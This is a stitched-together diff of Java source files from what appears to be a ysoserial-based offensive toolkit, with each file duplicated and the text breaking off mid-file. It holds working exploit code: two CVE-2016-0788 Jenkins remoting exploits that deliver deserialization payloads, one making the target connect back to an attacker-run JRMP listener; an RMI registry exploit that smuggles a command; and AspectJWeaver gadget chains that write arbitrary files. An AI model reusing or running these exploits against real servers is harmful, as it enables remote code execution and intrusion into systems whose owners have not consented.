import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.JarLoader;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import sun.rmi.server.Util;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.*;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
/**
* CVE-2016-0788 exploit (1)
* <p>
* 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol.
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
* <p>
* Extra twist:
* The well-known objects exported by the listener use the system classloader which usually
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
* (which is using jenkins' classloader) that typically is properly randomized.
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
* that identifier via an exception.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JenkinsListener {
private static final Logger log = LogManager.getLogger(JenkinsListener.class);
public static void main(final String[] args) {
if (args.length < 5) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
System.exit(-1);
}
String jenkinsUrl = args[0];
int jrmpPort = 12345;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call);
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid);
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
try {
c.call((Callable<?, ?>) o);
} catch (Exception e) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]]
System.err.println(e.getMessage());
parseObjIdAndExploit(args, jrmpPort, isa, e);
}
} catch (Throwable e) {
log.error(String.valueOf(e));
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
}
}
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
uro,
});
}
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception {
String msg = e.getMessage();
int start = msg.indexOf("objID:[");
if (start < 0) {
throw new Exception("Failed to get object id");
}
int sep = msg.indexOf(", ", start + 1);
if (sep < 0) {
throw new Exception("Failed to get object id, separator");
}
int end = msg.indexOf("]", sep + 1);
if (end < 0) {
throw new Exception("Failed to get object id, separator");
}
String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":");
long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[0], 16);
long o2 = Long.parseLong(parts[1], 16);
short o3 = Short.parseShort(parts[2], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
}
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
throws IOException {
Socket s = null;
DataOutputStream dos = null;
try {
System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
objOut.writeObject(payloadObject);
os.flush();
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
if (dos != null) {
dos.close();
}
if (s != null) {
s.close();
}
}
}
}
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.JRMPListener;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.JarLoader;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import sun.rmi.server.Util;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.*;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
/**
* CVE-2016-0788 exploit (1)
* <p>
* 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol.
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
* <p>
* Extra twist:
* The well-known objects exported by the listener use the system classloader which usually
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
* (which is using jenkins' classloader) that typically is properly randomized.
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
* that identifier via an exception.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JenkinsListener {
private static final Logger log = LogManager.getLogger(JenkinsListener.class);
public static void main(final String[] args) {
if (args.length < 5) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
System.exit(-1);
}
String jenkinsUrl = args[0];
int jrmpPort = 12345;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call);
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid);
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
try {
c.call((Callable<?, ?>) o);
} catch (Exception e) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]]
System.err.println(e.getMessage());
parseObjIdAndExploit(args, jrmpPort, isa, e);
}
} catch (Throwable e) {
log.error(String.valueOf(e));
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
}
}
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
uro,
});
}
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception {
String msg = e.getMessage();
int start = msg.indexOf("objID:[");
if (start < 0) {
throw new Exception("Failed to get object id");
}
int sep = msg.indexOf(", ", start + 1);
if (sep < 0) {
throw new Exception("Failed to get object id, separator");
}
int end = msg.indexOf("]", sep + 1);
if (end < 0) {
throw new Exception("Failed to get object id, separator");
}
String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":");
long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[0], 16);
long o2 = Long.parseLong(parts[1], 16);
short o3 = Short.parseShort(parts[2], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
}
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
throws IOException {
Socket s = null;
DataOutputStream dos = null;
try {
System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
objOut.writeObject(payloadObject);
os.flush();
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
if (dos != null) {
dos.close();
}
if (s != null) {
s.close();
}
}
}
}
@@ -1,79 +1,79 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.JRMPClient;
import hudson.remoting.Channel;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;
/**
* CVE-2016-0788 exploit (2)
* <p>
* - Sets up a local {@link JRMPListener}
* - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
* that will cause the remote to open a JRMP connection to our listener
* - upon connection the specified payload will be delivered to the remote
* (that will deserialize using a default ObjectInputStream)
*
* @author mbechler
*/
public class JenkinsReverse {
private static final Logger log = LogManager.getLogger(JenkinsReverse.class);
public static void main(final String[] args) throws Exception {
if (args.length < 4) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
System.exit(-1);
}
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial.run(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
String myAddr = args[1];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
String jenkinsUrl = args[0];
Thread t = null;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
t = new Thread(listener, "ReverseDGC");
t.setDaemon(true);
t.start();
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
c.call(JenkinsCLI.getPropertyCallable(payload));
listener.waitFor(1000);
listener.close();
} catch (Throwable e) {
log.error(String.valueOf(e));
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (t != null) {
t.interrupt();
try {
t.join();
} catch (InterruptedException e) {
e.printStackTrace(System.err);
}
}
}
}
}
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.JRMPClient;
import hudson.remoting.Channel;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;
/**
* CVE-2016-0788 exploit (2)
* <p>
* - Sets up a local {@link JRMPListener}
* - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
* that will cause the remote to open a JRMP connection to our listener
* - upon connection the specified payload will be delivered to the remote
* (that will deserialize using a default ObjectInputStream)
*
* @author mbechler
*/
public class JenkinsReverse {
private static final Logger log = LogManager.getLogger(JenkinsReverse.class);
public static void main(final String[] args) throws Exception {
if (args.length < 4) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
System.exit(-1);
}
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial.run(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
String myAddr = args[1];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
String jenkinsUrl = args[0];
Thread t = null;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
t = new Thread(listener, "ReverseDGC");
t.setDaemon(true);
t.start();
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
c.call(JenkinsCLI.getPropertyCallable(payload));
listener.waitFor(1000);
listener.close();
} catch (Throwable e) {
log.error(String.valueOf(e));
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (t != null) {
t.interrupt();
try {
t.join();
} catch (InterruptedException e) {
e.printStackTrace(System.err);
}
}
}
}
}
@@ -1,111 +1,111 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.security.auth.UnixPrincipal;
import sun.rmi.transport.StreamRemoteCall;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.util.*;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
public class RMIBindExploit {
public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
System.exit(-1);
}
String host = args[0];
int registryPort = Integer.parseInt(args[1]);
String command = args[2];
String serviceName = args[3];
Registry registry = LocateRegistry.getRegistry(host, registryPort);
System.out.println(Arrays.toString(registry.list()));
Subject subject = new Subject();
Set set = new HashSet();
set.add(new UnixPrincipal(command));
Reflections.setFieldValue(subject, "principals", set);
RMIClient r = new RMIClient();
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
r.ip = host;
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
}
static class RMIClient extends RemoteObject {
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
private RemoteRef ref = null;
private String ip = null;
public Remote lookup(String var1) throws NotBoundException, RemoteException {
try {
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var15) {
throw new MarshalException("error marshalling arguments", var15);
}
this.ref.invoke(var2);
Remote var20;
try {
ObjectInput var4 = var2.getInputStream();
var20 = (Remote) var4.readObject();
Field f = var2.getClass().getDeclaredField("in");
f.setAccessible(true);
Object conn = f.get(var2);
f = conn.getClass().getDeclaredField("incomingRefTable");
f.setAccessible(true);
HashMap rets = (HashMap) f.get(conn);
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
f = entry.getKey().getClass().getDeclaredField("host");
f.setAccessible(true);
f.set(entry.getKey(), this.ip);
} catch (Exception var13) {
// var2.discardPendingRefs();
throw new UnmarshalException("error unmarshalling return", var13);
} finally {
this.ref.done(var2);
}
return var20;
} catch (RuntimeException | NotBoundException | RemoteException var16) {
throw var16;
} catch (Exception var19) {
throw new UnexpectedException("undeclared checked exception", var19);
}
}
}
}
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.security.auth.UnixPrincipal;
import sun.rmi.transport.StreamRemoteCall;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.util.*;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
public class RMIBindExploit {
public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
System.exit(-1);
}
String host = args[0];
int registryPort = Integer.parseInt(args[1]);
String command = args[2];
String serviceName = args[3];
Registry registry = LocateRegistry.getRegistry(host, registryPort);
System.out.println(Arrays.toString(registry.list()));
Subject subject = new Subject();
Set set = new HashSet();
set.add(new UnixPrincipal(command));
Reflections.setFieldValue(subject, "principals", set);
RMIClient r = new RMIClient();
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
r.ip = host;
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
}
static class RMIClient extends RemoteObject {
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
private RemoteRef ref = null;
private String ip = null;
public Remote lookup(String var1) throws NotBoundException, RemoteException {
try {
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var15) {
throw new MarshalException("error marshalling arguments", var15);
}
this.ref.invoke(var2);
Remote var20;
try {
ObjectInput var4 = var2.getInputStream();
var20 = (Remote) var4.readObject();
Field f = var2.getClass().getDeclaredField("in");
f.setAccessible(true);
Object conn = f.get(var2);
f = conn.getClass().getDeclaredField("incomingRefTable");
f.setAccessible(true);
HashMap rets = (HashMap) f.get(conn);
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
f = entry.getKey().getClass().getDeclaredField("host");
f.setAccessible(true);
f.set(entry.getKey(), this.ip);
} catch (Exception var13) {
// var2.discardPendingRefs();
throw new UnmarshalException("error unmarshalling return", var13);
} finally {
this.ref.done(var2);
}
return var20;
} catch (RuntimeException | NotBoundException | RemoteException var16) {
throw var16;
} catch (Exception var19) {
throw new UnexpectedException("undeclared checked exception", var19);
}
}
}
}
@@ -1,64 +1,64 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.util.Map;
import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6;
/**
* Gadget chain:
* HashSet.readObject()
* HashMap.put()
* HashMap.hash()
* TiedMapEntry.hashCode()
* TiedMapEntry.getValue()
* LazyMap.get()
* SimpleCache$StorableCachingMap.put()
* SimpleCache$StorableCachingMap.writeToPath()
* FileOutputStream.write()
* <p>
* Usage:
* args = "<filename>;<base64 content>"
* Example:
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
* <p>
* More information:
* <a href="https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5">...</a>
*/
@SuppressWarnings("unused")
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({Authors.JANG})
public class AspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(":");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
return getSerializableCC6(entry);
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.util.Map;
import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6;
/**
* Gadget chain:
* HashSet.readObject()
* HashMap.put()
* HashMap.hash()
* TiedMapEntry.hashCode()
* TiedMapEntry.getValue()
* LazyMap.get()
* SimpleCache$StorableCachingMap.put()
* SimpleCache$StorableCachingMap.writeToPath()
* FileOutputStream.write()
* <p>
* Usage:
* args = "<filename>;<base64 content>"
* Example:
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
* <p>
* More information:
* <a href="https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5">...</a>
*/
@SuppressWarnings("unused")
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({Authors.JANG})
public class AspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(":");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
return getSerializableCC6(entry);
}
}
@@ -1,95 +1,95 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
*/
@SuppressWarnings({"unused"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({Authors.QI4L})
public class AspectJWeaver2 implements ObjectPayload<Serializable> {
@Override
public Serializable getObject(String command) throws Exception {
int sep = command.lastIndexOf(';');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Factory ft = new ConstantFactory(content);
Transformer ct = new FactoryTransformer(ft);
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
return getSerializableCC6(entry);
}
static Serializable getSerializableCC6(TiedMapEntry entry) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashSet<String> map = new HashSet<>(1);
map.add("QI4L");
Field f;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
//noinspection JavaReflectionMemberAccess
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap<?,?> innimpl = (HashMap<?,?>) f.get(map);
Field f2;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
//noinspection JavaReflectionMemberAccess
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
*/
@SuppressWarnings({"unused"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({Authors.QI4L})
public class AspectJWeaver2 implements ObjectPayload<Serializable> {
@Override
public Serializable getObject(String command) throws Exception {
int sep = command.lastIndexOf(';');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Factory ft = new ConstantFactory(content);
Transformer ct = new FactoryTransformer(ft);
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
return getSerializableCC6(entry);
}
static Serializable getSerializableCC6(TiedMapEntry entry) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashSet<String> map = new HashSet<>(1);
map.add("QI4L");
Field f;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
//noinspection JavaReflectionMemberAccess
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap<?,?> innimpl = (HashMap<?,?>) f.get(map);
Field f2;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
//noinspection JavaReflectionMemberAccess
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
}
@@ -1,39 +1,39 @@
package com.qi4l.JYso.gadgets;
import bsh.Interpreter;
import bsh.XThis;
